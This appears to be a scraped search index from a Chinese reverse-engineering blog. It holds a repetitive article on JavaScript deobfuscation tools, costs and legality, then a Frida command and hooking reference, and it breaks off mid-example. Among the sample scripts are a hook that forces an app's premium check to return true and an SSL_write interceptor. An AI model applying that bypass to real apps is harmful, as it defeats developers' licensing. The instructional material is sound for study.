SWC（Rust 实现，速度最快） 特点: 比 Babel 快 20-70 倍 用 Rust 编写 兼容 Babel 插件 适用: 大规模代码处理 GitHub: https://github.com/swc-project/swc Esprima vs Acorn 特性 Esprima Acorn 速度 中等 快 标准兼容 ES2021 ES2023 插件系统 有限 丰富 维护状态 活跃度低 活跃 推荐: 新项目使用 Acorn 或 Babel ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:4","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#swcrust-实现速度最快"},{"categories":null,"collections":null,"content":"4. AST 处理框架对比 Babel 生态（开源首选） 核心组件: @babel/parser - 解析 JS 为 AST @babel/traverse - 遍历和修改 AST @babel/generator - AST 转换回代码 @babel/types - AST 节点构建工具 优势: 完全免费 社区庞大 文档完善 插件丰富 学习成本: 中等（需要理解 AST 概念） 官网: https://babeljs.io/ SWC（Rust 实现，速度最快） 特点: 比 Babel 快 20-70 倍 用 Rust 编写 兼容 Babel 插件 适用: 大规模代码处理 GitHub: https://github.com/swc-project/swc Esprima vs Acorn 特性 Esprima Acorn 速度 中等 快 标准兼容 ES2021 ES2023 插件系统 有限 丰富 维护状态 活跃度低 活跃 推荐: 新项目使用 Acorn 或 Babel ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:4","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#esprima-vs-acorn"},{"categories":null,"collections":null,"content":"5. 商业咨询与定制服务 Recurity Labs（德国安全公司） 服务内容: JavaScript 混淆逆向 恶意代码分析 定制化反混淆工具开发 典型项目: €20,000 - €100,000 官网: https://www.recurity-labs.com/ Pen Test Partners 服务内容: 前端安全审计 混淆代码分析 漏洞挖掘 价格: £1,500/人日 官网: https://www.pentestpartners.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:5","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#5-商业咨询与定制服务"},{"categories":null,"collections":null,"content":"5. 商业咨询与定制服务 Recurity Labs（德国安全公司） 服务内容: JavaScript 混淆逆向 恶意代码分析 定制化反混淆工具开发 典型项目: €20,000 - €100,000 官网: https://www.recurity-labs.com/ Pen Test Partners 服务内容: 前端安全审计 混淆代码分析 漏洞挖掘 价格: £1,500/人日 官网: https://www.pentestpartners.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:5","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#recurity-labs德国安全公司"},{"categories":null,"collections":null,"content":"5. 商业咨询与定制服务 Recurity Labs（德国安全公司） 服务内容: JavaScript 混淆逆向 恶意代码分析 定制化反混淆工具开发 典型项目: €20,000 - €100,000 官网: https://www.recurity-labs.com/ Pen Test Partners 服务内容: 前端安全审计 混淆代码分析 漏洞挖掘 价格: £1,500/人日 官网: https://www.pentestpartners.com/ ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:5","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#pen-test-partners"},{"categories":null,"collections":null,"content":"6. 成本效益分析 场景 1: 分析单个混淆文件（\u003c 1000 行） 方案 A（手动 + 免费工具）: 工具: de4js + Prettier 时间: 1-2 小时 成本: $0 技能要求: 基础 方案 B（专业工具）: 工具: WebStorm + 自定义 Babel 插件 时间: 30 分钟 成本: $149/年（IDE 许可） 技能要求: 中等 场景 2: 批量处理混淆代码（\u003e10,000 文件） 方案 A（自建工具链）: 工具: Babel + 自定义脚本 + CI/CD 集成 初始投入: 3-5 个工作日开发 运行成本: $0 维护成本: 每月 1-2 小时 方案 B（商业服务）: 工具: Synopsys Code Insight 成本: $50,000/年起 优势: 零维护，企业支持 结论: 批量处理场景自建 ROI 更高 场景 3: 紧急项目（24 小时内需要结果） 方案 A（加急咨询）: 服务: Pen Test Partners 加急服务 成本: £5,000-15,000 保障: 专业团队，保证质量 方案 B（远程外包）: 平台: Upwork/Fiverr 逆向工程师 成本: $500-2,000 风险: 质量参差不齐 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:6","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#6-成本效益分析"},{"categories":null,"collections":null,"content":"6. 成本效益分析 场景 1: 分析单个混淆文件（\u003c 1000 行） 方案 A（手动 + 免费工具）: 工具: de4js + Prettier 时间: 1-2 小时 成本: $0 技能要求: 基础 方案 B（专业工具）: 工具: WebStorm + 自定义 Babel 插件 时间: 30 分钟 成本: $149/年（IDE 许可） 技能要求: 中等 场景 2: 批量处理混淆代码（\u003e10,000 文件） 方案 A（自建工具链）: 工具: Babel + 自定义脚本 + CI/CD 集成 初始投入: 3-5 个工作日开发 运行成本: $0 维护成本: 每月 1-2 小时 方案 B（商业服务）: 工具: Synopsys Code Insight 成本: $50,000/年起 优势: 零维护，企业支持 结论: 批量处理场景自建 ROI 更高 场景 3: 紧急项目（24 小时内需要结果） 方案 A（加急咨询）: 服务: Pen Test Partners 加急服务 成本: £5,000-15,000 保障: 专业团队，保证质量 方案 B（远程外包）: 平台: Upwork/Fiverr 逆向工程师 成本: $500-2,000 风险: 质量参差不齐 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:6","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#场景-1-分析单个混淆文件-1000-行"},{"categories":null,"collections":null,"content":"6. 成本效益分析 场景 1: 分析单个混淆文件（\u003c 1000 行） 方案 A（手动 + 免费工具）: 工具: de4js + Prettier 时间: 1-2 小时 成本: $0 技能要求: 基础 方案 B（专业工具）: 工具: WebStorm + 自定义 Babel 插件 时间: 30 分钟 成本: $149/年（IDE 许可） 技能要求: 中等 场景 2: 批量处理混淆代码（\u003e10,000 文件） 方案 A（自建工具链）: 工具: Babel + 自定义脚本 + CI/CD 集成 初始投入: 3-5 个工作日开发 运行成本: $0 维护成本: 每月 1-2 小时 方案 B（商业服务）: 工具: Synopsys Code Insight 成本: $50,000/年起 优势: 零维护，企业支持 结论: 批量处理场景自建 ROI 更高 场景 3: 紧急项目（24 小时内需要结果） 方案 A（加急咨询）: 服务: Pen Test Partners 加急服务 成本: £5,000-15,000 保障: 专业团队，保证质量 方案 B（远程外包）: 平台: Upwork/Fiverr 逆向工程师 成本: $500-2,000 风险: 质量参差不齐 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:6","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#场景-2-批量处理混淆代码10000-文件"},{"categories":null,"collections":null,"content":"6. 成本效益分析 场景 1: 分析单个混淆文件（\u003c 1000 行） 方案 A（手动 + 免费工具）: 工具: de4js + Prettier 时间: 1-2 小时 成本: $0 技能要求: 基础 方案 B（专业工具）: 工具: WebStorm + 自定义 Babel 插件 时间: 30 分钟 成本: $149/年（IDE 许可） 技能要求: 中等 场景 2: 批量处理混淆代码（\u003e10,000 文件） 方案 A（自建工具链）: 工具: Babel + 自定义脚本 + CI/CD 集成 初始投入: 3-5 个工作日开发 运行成本: $0 维护成本: 每月 1-2 小时 方案 B（商业服务）: 工具: Synopsys Code Insight 成本: $50,000/年起 优势: 零维护，企业支持 结论: 批量处理场景自建 ROI 更高 场景 3: 紧急项目（24 小时内需要结果） 方案 A（加急咨询）: 服务: Pen Test Partners 加急服务 成本: £5,000-15,000 保障: 专业团队，保证质量 方案 B（远程外包）: 平台: Upwork/Fiverr 逆向工程师 成本: $500-2,000 风险: 质量参差不齐 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:6","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#场景-3-紧急项目24-小时内需要结果"},{"categories":null,"collections":null,"content":"7. 开源 vs 商业方案决策矩阵 因素 推荐开源 推荐商业 项目规模 \u003c 10,000 文件 \u003e 50,000 文件 团队规模 \u003c 5 人 \u003e 10 人 预算 \u003c $10,000/年 \u003e $50,000/年 技术能力 有 AST 经验 无专业逆向团队 合规要求 无特殊要求 需审计报告 时间压力 可灵活安排 紧急交付 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:7","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#7-开源-vs-商业方案决策矩阵"},{"categories":null,"collections":null,"content":"8. AI 辅助反混淆（新兴趋势） ChatGPT/Claude Code Analysis 应用场景: 解释混淆代码逻辑 生成反混淆脚本 识别混淆模式 示例 Prompt: 分析以下混淆JavaScript代码，解释其逻辑： var _0x1a2b=['log','Hello']; console[_0x1a2b[0]](_0x1a2b[1]); 局限性: 无法处理大文件（Token 限制） 可能误判复杂混淆 不适合批量处理 成本: $0.01-0.06/1K tokens（API 调用） GitHub Copilot 辅助编写反混淆脚本 优势: 加速 Babel 插件开发 提供 AST 操作示例 代码补全 成本: $10/月或$100/年 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:8","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#8-ai-辅助反混淆新兴趋势"},{"categories":null,"collections":null,"content":"8. AI 辅助反混淆（新兴趋势） ChatGPT/Claude Code Analysis 应用场景: 解释混淆代码逻辑 生成反混淆脚本 识别混淆模式 示例 Prompt: 分析以下混淆JavaScript代码，解释其逻辑： var _0x1a2b=['log','Hello']; console[_0x1a2b[0]](_0x1a2b[1]); 局限性: 无法处理大文件（Token 限制） 可能误判复杂混淆 不适合批量处理 成本: $0.01-0.06/1K tokens（API 调用） GitHub Copilot 辅助编写反混淆脚本 优势: 加速 Babel 插件开发 提供 AST 操作示例 代码补全 成本: $10/月或$100/年 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:8","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#chatgptclaude-code-analysis"},{"categories":null,"collections":null,"content":"8. AI 辅助反混淆（新兴趋势） ChatGPT/Claude Code Analysis 应用场景: 解释混淆代码逻辑 生成反混淆脚本 识别混淆模式 示例 Prompt: 分析以下混淆JavaScript代码，解释其逻辑： var _0x1a2b=['log','Hello']; console[_0x1a2b[0]](_0x1a2b[1]); 局限性: 无法处理大文件（Token 限制） 可能误判复杂混淆 不适合批量处理 成本: $0.01-0.06/1K tokens（API 调用） GitHub Copilot 辅助编写反混淆脚本 优势: 加速 Babel 插件开发 提供 AST 操作示例 代码补全 成本: $10/月或$100/年 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:8","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#github-copilot-辅助编写反混淆脚本"},{"categories":null,"collections":null,"content":"9. 实战工具链推荐 初学者配置（$0 成本） # 安装工具 npm install -g prettier webcrack npm install @babel/parser @babel/traverse @babel/generator # 工作流程 1. 使用 de4js 在线初步分析 2. prettier格式化代码 3. webcrack解包Webpack（如适用） 4. 自写Babel脚本深度处理 专业团队配置（\u003c $1,000/年） # 商业工具 - WebStorm IDE: $149/年 - GitHub Copilot: $100/年 - Better Comments（VS Code插件）: 免费 # 开源工具 - Babel完整工具链 - AST Explorer（在线） - Source Map Visualization 总成本: $249/年 + 学习时间投入 企业级配置（$10,000+/年） Synopsys Code Insight: 自动化代码分析 Fortify SCA: 静态代码扫描 专业咨询: 按需购买逆向服务 内部培训: 团队技能提升 ROI 分析: 适合有合规要求或大规模项目的企业 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:9","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#9-实战工具链推荐"},{"categories":null,"collections":null,"content":"9. 实战工具链推荐 初学者配置（$0 成本） # 安装工具 npm install -g prettier webcrack npm install @babel/parser @babel/traverse @babel/generator # 工作流程 1. 使用 de4js 在线初步分析 2. prettier格式化代码 3. webcrack解包Webpack（如适用） 4. 自写Babel脚本深度处理 专业团队配置（\u003c $1,000/年） # 商业工具 - WebStorm IDE: $149/年 - GitHub Copilot: $100/年 - Better Comments（VS Code插件）: 免费 # 开源工具 - Babel完整工具链 - AST Explorer（在线） - Source Map Visualization 总成本: $249/年 + 学习时间投入 企业级配置（$10,000+/年） Synopsys Code Insight: 自动化代码分析 Fortify SCA: 静态代码扫描 专业咨询: 按需购买逆向服务 内部培训: 团队技能提升 ROI 分析: 适合有合规要求或大规模项目的企业 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:9","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#初学者配置0-成本"},{"categories":null,"collections":null,"content":"9. 实战工具链推荐 初学者配置（$0 成本） # 安装工具 npm install -g prettier webcrack npm install @babel/parser @babel/traverse @babel/generator # 工作流程 1. 使用 de4js 在线初步分析 2. prettier格式化代码 3. webcrack解包Webpack（如适用） 4. 自写Babel脚本深度处理 专业团队配置（\u003c $1,000/年） # 商业工具 - WebStorm IDE: $149/年 - GitHub Copilot: $100/年 - Better Comments（VS Code插件）: 免费 # 开源工具 - Babel完整工具链 - AST Explorer（在线） - Source Map Visualization 总成本: $249/年 + 学习时间投入 企业级配置（$10,000+/年） Synopsys Code Insight: 自动化代码分析 Fortify SCA: 静态代码扫描 专业咨询: 按需购买逆向服务 内部培训: 团队技能提升 ROI 分析: 适合有合规要求或大规模项目的企业 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:9","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#专业团队配置-1000年"},{"categories":null,"collections":null,"content":"9. 实战工具链推荐 初学者配置（$0 成本） # 安装工具 npm install -g prettier webcrack npm install @babel/parser @babel/traverse @babel/generator # 工作流程 1. 使用 de4js 在线初步分析 2. prettier格式化代码 3. webcrack解包Webpack（如适用） 4. 自写Babel脚本深度处理 专业团队配置（\u003c $1,000/年） # 商业工具 - WebStorm IDE: $149/年 - GitHub Copilot: $100/年 - Better Comments（VS Code插件）: 免费 # 开源工具 - Babel完整工具链 - AST Explorer（在线） - Source Map Visualization 总成本: $249/年 + 学习时间投入 企业级配置（$10,000+/年） Synopsys Code Insight: 自动化代码分析 Fortify SCA: 静态代码扫描 专业咨询: 按需购买逆向服务 内部培训: 团队技能提升 ROI 分析: 适合有合规要求或大规模项目的企业 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:9","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#企业级配置10000年"},{"categories":null,"collections":null,"content":"10. 避坑指南 常见错误: ❌ 过度依赖自动化工具（复杂混淆仍需手动分析） ❌ 忽视代码版权（逆向后的代码使用需遵守法律） ❌ 不备份原始文件（反混淆可能破坏代码） ❌ 盲目追求完美还原（有时部分还原即可满足需求） 最佳实践: ✅ 分层处理，逐步还原 ✅ 结合动态调试验证 ✅ 建立混淆特征库 ✅ 自动化重复性工作 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:10","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#10-避坑指南"},{"categories":null,"collections":null,"content":"11. 法律与合规考量 警告: 反混淆他人代码可能涉及法律风险 合法场景: ✅ 安全研究（合法授权） ✅ 恶意软件分析 ✅ 自己的代码逆向 ✅ 开源项目分析 风险场景: ❌ 商业软件逆向（未授权） ❌ 绕过 DRM 保护 ❌ 窃取商业机密 建议: 进行商业逆向前咨询法律顾问 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:10:11","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#11-法律与合规考量"},{"categories":null,"collections":null,"content":"相关章节 JavaScript 反混淆 AST 解析工具 调试技巧与断点设置 JavaScript Hook 脚本 ","date":"2024-10-21","objectID":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/:11:0","tags":["Web","电商","Hook","自动化","脚本","DEX"],"title":"反混淆脚本","uri":"/reverse_engineering/web/07-scripts/deobfuscation_scripts/#相关章节"},{"categories":null,"collections":null,"content":"Frida 常用命令与脚本 API 大全 Frida 是一个动态代码插桩工具包，它允许您将自己的脚本注入到黑盒进程中。它对于逆向工程、安全研究和应用调试非常有用。 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:0:0","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#frida-常用命令与脚本-api-大全"},{"categories":null,"collections":null,"content":"Frida 工具集 这些是在终端中使用的核心 Frida 命令行工具。 命令 描述 frida --version 查看 Frida 版本 frida-ps -U 列出 USB 连接设备上的所有进程 frida-ps -Ua 列出 USB 连接设备上所有正在运行的应用程序 frida-ps -Uai 列出 USB 连接设备上所有已安装的应用程序及其标识符 frida-trace -U -f \u003c包名\u003e -i \"\u003c方法\u003e\" 跟踪指定方法的调用（附加到新进程） frida-trace -U -p \u003cPID\u003e -i \"\u003c方法\u003e\" 跟踪指定方法的调用（附加到现有进程） frida -U -f \u003c包名\u003e -l \u003c脚本.js\u003e Spawn 一个新进程并注入脚本 frida -U -p \u003cPID\u003e -l \u003c脚本.js\u003e 附加到现有进程并注入脚本 frida -U --no-pause -f \u003c包名\u003e -l \u003c脚本.js\u003e Spawn 新进程并注入脚本，且不暂停主线程 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:1:0","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#frida-工具集"},{"categories":null,"collections":null,"content":"连接与附加模式 Frida 有两种主要的方式来 hook 应用： Spawn (Spawning): Frida 启动应用程序并立即暂停主线程，以便您在应用代码执行前注入脚本。这是最常用的模式，特别是对于需要在应用启动早期进行 Hook 的场景。使用 -f \u003c包名\u003e 参数。 Attach (Attaching): Frida 附加到已经在运行的进程上。这对于 hook 那些在应用运行中途才会触发的功能很有用。使用 -p \u003cPID\u003e 或应用名称。 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:2:0","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#连接与附加模式"},{"categories":null,"collections":null,"content":"JavaScript API (核心) 这是 Frida 脚本的核心。所有逻辑都在 JavaScript 脚本中实现。 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:3:0","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#javascript-api-核心"},{"categories":null,"collections":null,"content":"Java (Android) 这些 API 用于与 Android 的 Java 运行时进行交互。所有 Java 相关代码都必须包裹在 Java.perform(function() { ... }); 中。 API/代码片段 描述 Java.perform(function() { ... }); Frida 中与 Java 交互的入口点和作用域 Java.available 检查 Java VM 是否可用 var MyClass = Java.use('com.example.MyClass'); 获取一个类的包装器，用于方法 Hook 或创建实例 MyClass.myMethod.implementation = function(...) { ... } 替换（Hook）一个方法的实现 this.myMethod(...) 在 Hook 的实现中调用原始方法 MyClass.$new() 创建一个类的新实例 Java.choose('com.example.MyClass', { onMatch: ..., onComplete: ... }) 查找堆上特定类的所有活动实例 Java.cast(obj, MyClass) 将一个对象转换为特定的类类型 Java.backtrace(this.context, true) 获取当前线程的 Java 调用堆栈 send(data) 从脚本向 Python/Node.js 工具发送消息 recv(callback) 从 Python/Node.js 工具接收消息 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:3:1","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#java-android"},{"categories":null,"collections":null,"content":"Objective-C (iOS) 这些 API 用于与 iOS 的 Objective-C 运行时进行交互。 API/代码片段 描述 ObjC.classes.MyClass 获取一个类的引用 Interceptor.attach(ObjC.classes.MyClass['- myMethod'], { ... }) 附加到方法的实现 (Native Interceptor) ObjC.choose(ObjC.classes.MyClass, { ... }) 查找特定类的所有活动实例 ObjC.available 检查 Objective-C 运行时是否可用 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:3:2","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#objective-c-ios"},{"categories":null,"collections":null,"content":"通用/原生 (Native) 这些 API 用于与原生代码（C/C++）进行交互，跨平台通用。 API/代码片段 描述 Interceptor.attach(ptr(\"...\"), { onEnter: ..., onLeave: ... }) 拦截指定地址的原生函数调用 Module.findExportByName(\"libname.so\", \"function_name\") 按名称查找模块（库）的导出函数地址 Module.findBaseAddress(\"libname.so\") 获取模块加载的基地址 Memory.readByteArray(address, size) 从指定地址读取字节数组 Memory.writeByteArray(address, bytes) 向指定地址写入字节数组 NativeFunction(address, returnType, argTypes) 创建一个可调用的原生函数对象 ptr(\"0x...\") 创建一个原生指针 Thread.backtrace(this.context, Backtracer.ACCURATE) 获取当前线程的原生调用堆栈 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:3:3","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#通用原生-native"},{"categories":null,"collections":null,"content":"JNI (Java Native Interface) JNI 是 Android 逆向中的重要组成部分，Frida 提供了强大的 JNI Hook 能力。 API/代码片段 描述 Module.findExportByName(\"lib.so\", \"Java_com_pkg_Class_method\") 查找 JNI 函数地址 Java.vm.getEnv() 获取当前线程的 JNIEnv 指针 Java.vm.tryGetEnv() 尝试获取 JNIEnv（不会抛异常） Java.vm.perform(callback) 在 Java 虚拟机线程中执行回调 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:3:4","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#jni-java-native-interface"},{"categories":null,"collections":null,"content":"常用脚本示例 ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:0","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#常用脚本示例"},{"categories":null,"collections":null,"content":"JNI Hook 示例 // Hook JNI Function var jni_func = Module.findExportByName( \"libnative.so\", \"Java_com_example_app_Crypto_encrypt\" ); if (jni_func) { Interceptor.attach(jni_func, { onEnter: function (args) { console.log(\"[JNI Hook] encrypt() called\"); // args[0] = JNIEnv* // args[1] = jclass/jobject // args[2] = first Java parameter // Read jstring parameter if (args[2]) { var env = Java.vm.getEnv(); var jstr = args[2]; var cstr = env.getStringUtfChars(jstr, null); console.log(\"Input: \" + cstr.readCString()); env.releaseStringUtfChars(jstr, cstr); } }, onLeave: function (retval) { // Read returned jstring if (retval \u0026\u0026 !retval.isNull()) { var env = Java.vm.getEnv(); var cstr = env.getStringUtfChars(retval, null); console.log(\"Output: \" + cstr.readCString()); env.releaseStringUtfChars(retval, cstr); } }, }); } // Also hook the native method call from Java layer Java.perform(function () { var Crypto = Java.use(\"com.example.app.Crypto\"); Crypto.encrypt.implementation = function (input) { console.log(\"[Java Hook] encrypt called with: \" + input); var result = this.encrypt(input); console.log(\"[Java Hook] encrypt returned: \" + result); return result; }; }); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:1","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#jni-hook-示例"},{"categories":null,"collections":null,"content":"枚举 JNI 函数 function enumerateJNIFunctions(moduleName) { var module = Process.getModuleByName(moduleName); var exports = module.enumerateExports(); console.log(\"[JNI Enumeration] \" + moduleName); exports.forEach(function (exp) { if (exp.name.startsWith(\"Java_\")) { console.log(\" \" + exp.name + \" @ \" + exp.address); } }); } // Usage example enumerateJNIFunctions(\"libnative.so\"); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:2","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#枚举-jni-函数"},{"categories":null,"collections":null,"content":"Hook Java 方法 Java.perform(function () { var MyClass = Java.use(\"com.example.SecretClass\"); MyClass.secretMethod.implementation = function (arg1, arg2) { console.log(\"secretMethod called with:\", arg1, arg2); // Call original method and get return value var retval = this.secretMethod(arg1, arg2); console.log(\"Original return value:\", retval); return retval; // Return original value }; }); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:3","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#hook-java-方法"},{"categories":null,"collections":null,"content":"绕过 VIP 检查 Java.perform(function () { var PremiumUtils = Java.use(\"com.example.PremiumUtils\"); PremiumUtils.isUserPremium.implementation = function () { console.log(\"Bypassing isUserPremium check...\"); return true; // Always return true to bypass VIP check }; }); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:4","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#绕过-vip-检查"},{"categories":null,"collections":null,"content":"查找堆上的实例 Java.perform(function () { Java.choose(\"com.example.UserManager\", { onMatch: function (instance) { console.log(\"Found UserManager instance:\", instance); console.log(\"User ID:\", instance.getUserId()); }, onComplete: function () { console.log(\"Search complete.\"); }, }); }); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:5","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#查找堆上的实例"},{"categories":null,"collections":null,"content":"Hook 构造函数 Java.perform(function () { var User = Java.use(\"com.example.User\"); User.$init.implementation = function (name, age) { console.log(\"User object created with name:\", name, \"and age:\", age); // Call original constructor this.$init(name, age); }; }); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:6","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#hook-构造函数"},{"categories":null,"collections":null,"content":"Hook Native 函数 (SSL_write) var ssl_write = Module.findExportByName(\"libssl.so\", \"SSL_write\"); Interceptor.attach(ssl_write, { onEnter: function (args) { // args[0] is the SSL context // args[1] is the buffer // args[2] is the size console.log(\"Intercepted SSL_write, size:\", args[2].toInt32()); // You can use hexdump(args[1]) to view the data }, onLeave: function (retval) { // retval is the original return value console.log(\"SSL_write returned:\", retval.toInt32()); }, }); ","date":"2024-10-14","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_guide/:4:7","tags":["Native层","动态分析","Frida","SSL Pinning","DEX","加密分析"],"title":"Frida 常用命令与脚本 API 大全","uri":"/reverse_engineering/android/02-tools/dynamic/frida_guide/#hook-native-函数-ssl_write"},{"categories":null,"collections":null,"content":"RPC 导出函数 JavaScript 脚本 (script.js): function getSecretValueFromApp() { var secret = \"\"; Java.perform(function () { // Assume there's a method to get the secret value var Utils = Java.use(\"com.example.Utils\"); secret = Utils.getSecret(); }); return secret; } // Export function rpc.exports.getsecret = getSecretValueFromApp; Python 调用: import frida # ... Connect to device and attach to process ... # script = session.create_script(js_code) # ... # script.load() # Call the exported function from the script secret = 